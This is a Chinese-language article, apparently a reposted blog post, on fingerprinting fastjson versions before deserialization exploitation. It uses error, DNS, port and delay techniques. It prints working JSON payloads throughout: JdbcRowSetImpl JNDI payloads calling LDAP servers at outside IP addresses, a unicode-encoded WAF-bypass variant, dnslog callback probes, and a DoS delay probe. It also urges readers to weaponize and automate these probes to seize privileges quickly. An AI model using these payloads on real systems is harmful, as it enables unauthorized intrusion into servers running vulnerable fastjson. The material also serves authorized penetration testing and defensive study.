判断漏洞是否存在,无非是以下几种方法:
1 显错判断
想办法使服务器组件抛出异常,也就是报错,在报错中得到我们想要的信息。
2 DNS请求判断
想办法触发一个DNS请求,前提是服务器出网,并且外围设备开放了DNS协议,然后你的dnslog服务地址没被监控设备拦截;
3 TCP、UDP端口请求判断
这里不止一个人问过我,用DNS请求直接判断就可以了,为啥还得用端口来判断呢?这里我举一个例子,如果一个内网机器,它没配DNS的话,然后机器又是出网的,dnslog是收不到请求的,那么只能TCP或者UDP来判断了,这种情况我遇到过好几次了)。
4 延迟判断
想办法使其触发一个延迟。可以执行Java的sleep代码,可以像mysql注入那样计算一个公式bench.mark(5000000,m.d5( ‘test’ )),也可以发起一个轻微的DoS请求。5、其它方法,比较少见,而且不适用于本次fastjson漏洞检测,这里就不具体叙述了。
延迟判断
1 jndi请求延迟
首先看这个payload,适用于1.2.47之前版本的fastjson,这里面有一个小技巧,访问一个不常见的外网IP地址,会延迟几秒,访问一个内网地址127.0.0.1 会瞬间返回,那么证明这个POC可用,也间接证明fastjson版本是1.2.47之前的版本。那么在不出网的情况下,可以借助这个POC的延迟效果,知道目标fastjson是<=1.2.47的,进而可以花时间和精力去构造POC实现回显,或者直接打一个内存马。
以下是一个经过unicode编码的payload,一定程度上可以绕过一些waf,后续更多的fastjson绕waf方法,会专门写一篇文章讲解。
{"name":{"/u0040/u0074/u0079/u0070/u0065":"/u006a/u0061/u0076/u0061/u002e/u006c/u0061/u006e/u0067/u002e/u0043/u006c/u0061/u0073/u0073","/u0076/u0061/u006c":"/u0063/u006f/u006d/u002e/u0073/u0075/u006e/u002e/u0072/u006f/u0077/u0073/u0065/u0074/u002e/u004a/u0064/u0062/u0063/u0052/u006f/u0077/u0053/u0065/u0074/u0049/u006d/u0070/u006c"},"x":{"/u0040/u0074/u0079/u0070/u0065":"/u0063/u006f/u006d/u002e/u0073/u0075/u006e/u002e/u0072/u006f/u0077/u0073/u0065/u0074/u002e/u004a/u0064/u0062/u0063/u0052/u006f/u0077/u0053/u0065/u0074/u0049/u006d/u0070/u006c","/u0064/u0061/u0074/u0061/u0053/u006f/u0075/u0072/u0063/u0065/u004e/u0061/u006d/u0065":"ldap://11.111.22.222/test111","autoCommit":true}}
源码:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://11.111.22.222/test111","autoCommit":true}}
以下这个POC延迟,证明fastjson版本号1.1.16<=version<=1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://137.30.0.1:9999/POC","autoCommit":true}}
2 DOS漏洞触发延迟
这个POC来自于浅蓝,POC中的aaa的长度越长,触发延迟效果越明显,如果有延迟效果,那么证明fastjson版本<=1.2.59,间接证明fastjson版本<=1.2.68,这个非常重要,这说明,这个fastjson是有可能拿下权限的,值得我们在实战中花很多精力去研究它。
注:此POC慎用,不确定是否会影响业务系统,我一般实战中,是逐步增加a的数量的,切不可生搬硬套,输入一大堆a
显错判断
这个方法来自于浅蓝,两个POC如下,提交一下两个POC,会抛出异常,有时候会显示出fastjson版本号来。
1. {"@type": "java.lang.AutoCloseable"
2. ["test":1]
3. 输入一些乱码字符,让web应用报错,有时候也会带出来版本号。
第2个POC成功率不高,但是实战中成功过几次。
DNS请求判断
我曾经搭建了不同的fastjson漏洞环境,发现网上很多文章对于各种fastjson漏洞dnslog payload与fastjson版本号的对应描述都不准确,很多还是有错误的。这里我发出自己校勘的结果,不一定准确,仅供大家参考。
以下POC出网,说明fastjson<=1.2.47
{"name":{"@type":"java.net.InetAddress","val":"1247.xxxxx.dnslog.cn"}}
以下这个POC出网,说明fastjson>=1.2.37
{{"@type":"java.net.URL","val":"http://weffewfddd.dnslog.cn"}:"aaa"}
以下这个POC出网,证明fastjson版本号1.1.16<=version<=1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxxdsf.dnslog.cn:9999/POC","autoCommit":true}}
以下这几个POC,只能证明fastjson出网,无法判断fastjson是否存在反序列化漏洞,因为最新的打了补丁的fastjson也是能发起DNS请求的。这是很多新手,误以为能DNS出网,就认为存在fastjson漏洞,这是不正确的。
{"@type":"java.net.Inet6Address","val":"sdffsd.dnslog.cn"}
{"@type":"java.net.Inet4Address","val":"xxxxx.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}
以下这个POC比较不错,是之前从天眼设备上抓到的,实战中用一用会有意想不到的效果。
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://allmet.dnslog.cn"}}""}
Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}]
Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}
{{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}:0
总结
1. 把以上的各种方法组合起来判断,写一个自动化fuzz工具,基本上大致可以判断出fastjson版本号的区间了,以便我们在实战中对症下药,快速拿下权限。
2. 上述的这些过程,部分同学可能无法理解,这么费心思的去判断fastjson版本号的意义何在?台上一分钟,台下十年功,这样的总结为的就是在实战中快速拿下权限,否则一次比赛3、4天,怼一个fastjson用了大半天时间,发现人家的版本是最新的,岂不白费功夫。还有可能一个fastjson反序列化漏洞,我们搞不定,但是发现别人搞定了,最后一咨询发现是POC是1.2.68的写文件拿下来的,但是我们却以为是最新版本,没有去尝试。
3. 还有很多POC可以用于fastjson版本判断,篇幅有限,就不一一列举了。大家可以按照上述思路自己总结出一套方法,做成小脚本或自动化工具,向工具化、武器化、自动化、平台化迈进!就很容易在实战中得到fastsjon版本号的区间,快速进行漏洞研判了。
4. 以上叙述如果有错误,欢迎大家批评指正。
文章来源:https://mp.weixin.qq.com/s/iSS-dj84Ck34CapHDPKY6g
原创文章,作者:306829225,如若转载,请注明出处:https://blog.ytso.com/278073.html